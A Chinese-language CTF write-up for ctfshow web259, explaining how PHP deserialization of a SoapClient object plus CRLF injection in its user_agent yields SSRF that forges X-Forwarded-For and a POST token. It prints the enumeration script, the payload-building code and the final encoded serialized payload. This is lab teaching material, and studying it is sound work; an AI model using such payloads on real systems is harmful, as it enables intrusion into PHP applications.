作者:Yuppie001
作者主页: 传送
本文专栏:Web漏洞篇
🌟🌟🌟🌟🌟🌟🌟🌟
web259题目如下:
flag.php
$xff=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip=array_pop($xff);if($ip!=='127.0.0.1'){die('error');}else{$token=$_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}
highlight_file(__FILE__);$vip=unserialize($_GET['vip']);//vip can get flag one key$vip->getFlag();
观察代码部分:
接受get传参的vip并进行反序列化
$vip=unserialize($_GET['vip']);
调用vip对象的getflag方法
$vip->getFlag();
源代码中没有出现任何的类和getflag方法,调用一个不存在的方法时想到触发__call魔术方法。
这里观察代码明显发现并没有相关显式的类可以利用,所以想到利用原生类进行反序列化利用。
利用下面的脚本来查看当前环境存在的可利用的原生类:
记得将相应模块配置开关打开
<?phpclassMyClass{publicfunction__toString(){return"MyClass instance";}publicfunction__get($name){return$this->$name;}}//get_declared_classes()获取当前php脚本中所有已声明的类//这里的当前php脚本指的是当前运行的这个脚本文件么?包含其他文件么? 已经声明的类是什么意思,是已经存在的么?$classes=get_declared_classes();//这个循环遍历 $classes 数组中的每个类名foreach($classesas$class){//获取当前类的所有定义的方法$methods=get_class_methods($class);//遍历所有的方法名foreach($methodsas$method){//判断当前类中的方法是否存在指定的魔术方法数组中if(in_array($method,array(// '__destruct',// '__toString',// '__wakeup','__call',// '__callStatic',// '__get',// '__set',// '__isset',// '__unset',// '__invoke',// '__set_state'))){// Print each class::method on a new lineecho$class.'::'.$method."<br>\n";// For HTML output// echo $class . '::' . $method . "\n"; // For plain text output}}}?>
存在SoapClient原生类
SoapClient原生类:
Soapclient原生类主要作用是使 PHP 应用程序能够方便地调用远程的 SOAP 服务
开发的应用:
在编程中,假设你用 PHP 写了一个网站,需要从另外一个服务器获取一些信息(比如天气预报),而这个服务器使用的是一种叫做 SOAP 的协议。PHP 不能直接理解 SOAP 协议的数据,就像你不能直接听懂外国语言一样。这时候,Sopaclient 就起到了翻译工具的作用。
- 请求翻译:Sopaclient 把你用 PHP 语言写的请求翻译成服务器能理解的 SOAP 请求。
因为SOAP是基于 XML 的协议,所以SoapClient会将php请求数据转换为xml格式.
示例:
//创建 SoapClient 实例:$client=newSoapClient("http://example.com/weather?wsdl");//调用远程方法:$response=$client->getCurrentWeather(array("city"=>"Beijing"));
将php数据进行“翻译”,格式可能是这样(xml):
<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:wea="http://example.com/weather"><soapenv:Header/><soapenv:Body><wea:getCurrentWeather><wea:city>Beijing</wea:city></wea:getCurrentWeather></soapenv:Body></soapenv:Envelope>
- 响应翻译:服务器返回的 SOAP 响应,Sopaclient 再把它翻译成 PHP 能理解的数据。
<?php// 创建一个新的 SoapClient 实例,传入 WSDL 文件的 URL$client=newSoapClient("http://example.com/weather?wsdl");// 调用远程的 SOAP 方法,比如“getCurrentWeather”,传入所需参数$response=$client->getCurrentWeather(array("city"=>"Beijing"));// 输出结果print_r($response);?>
介绍完SoapClient后接下来回归题目:
从服务器中获取HTTP_X_FORWARDED_FOR头部并分割为数组,并移除最后一个元素两次,这实际上将$ip设置为原始列表中倒数第二个IP地址。
$xff=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip=array_pop($xff);
观察flag.php我们发现需要使得我们的ip为127.0.0.1并且满足token等于ctfshow时会将将$flag变量写入到’flag.txt’文件中。
if($ip!=='127.0.0.1'){die('error');}else{$token=$_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}}
所以我们需要利用SoapClient原生类来构造SSRF(用服务器本身请求服务器),并利用CRLF来构造数据包。
现在我们在本地测试:
通过构造一个SOAP客户端,并调用了getFlag的远程SOAP服务方法,这个调用过程由PHP的__call魔术方法处理,负责发送SOAP请求并接收响应。
<?php$client=newSoapClient(null,array('uri'=>'http://127.0.0.1:9998/','location'=>'http://127.0.0.1:9999/test'));$client->getFlag();?>
**uri是命名空间URI,它在SOAP消息中用于标识服务。**URI通常不会指向实际的资源,而是用来标识命名空间。
**location是实际的服务端点URL,即SOAP请求将发送到的服务器地址。**
nc监听:
nc -lvvp 9999
请求数据包:
接下来,由于ua头可控,所以我们通过 CRLF来进行数据包的构造:
<?php
$ua="ceshi\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";$client= new SoapClient(null,array('uri'=>'http://127.0.0.1:9998/' , 'location'=>'http://127.0.0.1:9999/test' , 'user_agent'=>$ua));$client->getFlag();
?>
nc监听:
黄色部分为构造的数据包,因为 Content-Length的原因,所以后面的部分全部被忽略,真实有效的数据包为黄色部分
接下来我们进行构造payload:
<?php$ua="ceshi\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";$client=newSoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));echourlencode(serialize($client));?>
输出:
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A129%3A%22ceshi%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
传入参数:
访问flag.txt,得到flag:
不知道大家看到这里有没有疑惑,为什么构造的数据包并没有xff头但能够正确识别ip为127.0.0.1,这是为什么呢?
- 以下是个人的推测:
通过查看网站的配置发现为 nginx
在 Nginx 中配置了相关设置后,即使客户端发送的数据包中没有 X-Forwarded-For 头部,服务器也会默认追加该头部。这解释了为什么直接访问 flag.php 时,即使请求中没有 X-Forwarded-For 头部,服务器仍然会输出 “your IP is not 127.0.0.1”。
这是因为服务器在处理请求时,由代理服务器自动添加了 X-Forwarded-For 头部,用于记录客户端的真实 IP 地址。
当然,这道题也可以不用反序列化来做,直接访问bp进行抓包,添加对应的xff头和相应数据块即可获得flag
版权归原作者 Yuppie001 所有, 如有侵权,请联系我们删除。